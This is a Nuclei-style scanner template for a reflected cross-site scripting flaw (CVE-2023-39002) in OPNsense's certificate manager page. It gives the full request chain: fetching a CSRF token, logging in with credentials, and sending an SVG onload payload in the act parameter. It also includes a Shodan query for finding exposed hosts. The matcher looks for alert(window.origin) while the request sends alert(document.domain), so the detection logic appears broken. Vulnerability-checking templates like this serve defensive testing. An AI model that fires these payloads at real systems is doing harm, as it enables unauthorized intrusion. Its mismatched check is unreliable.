77 lines
2.2 KiB
YAML
77 lines
2.2 KiB
YAML
id: CVE-2023-39002
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info:
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name: OPNsense - Cross-Site Scripting
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author: Herry
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severity: medium
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description: |
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A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
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reference:
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- https://logicaltrust.net/blog/2023/08/opnsense.html
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- https://nvd.nist.gov/vuln/detail/CVE-2023-39002
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- https://github.com/opnsense/core/commit/a4f6a8f8d604271f81984cfcbba0471af58e34dc
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2023-39002
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cwe-id: CWE-79
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epss-score: 0.00064
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epss-percentile: 0.26225
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cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: opnsense
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product: opnsense
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shodan-query: title:"OPNsense"
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tags: cve,cve2023,opnsense,xss,authenticated,rce
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST / HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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{{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1
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- |
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GET /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0 HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_3
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words:
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- 'value=""><svg/onload=alert(window.origin)> "/>'
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- type: word
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part: header_3
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words:
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- "text/html"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: para
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part: body
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group: 1
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regex:
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- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
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internal: true
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- type: regex
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name: value
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part: body
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group: 2
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regex:
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- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
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internal: true
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# digest: 4a0a00473045022100ffee23737ce03335451b3e0fd7de973a097abaf22df2606237708f7bad90c73b0220763dd05451644f931ee58fb50c108035384f3d13cffdb2f79bc40fbe2ac7cd91:922c64590222798bb761d5b6d8e72950 |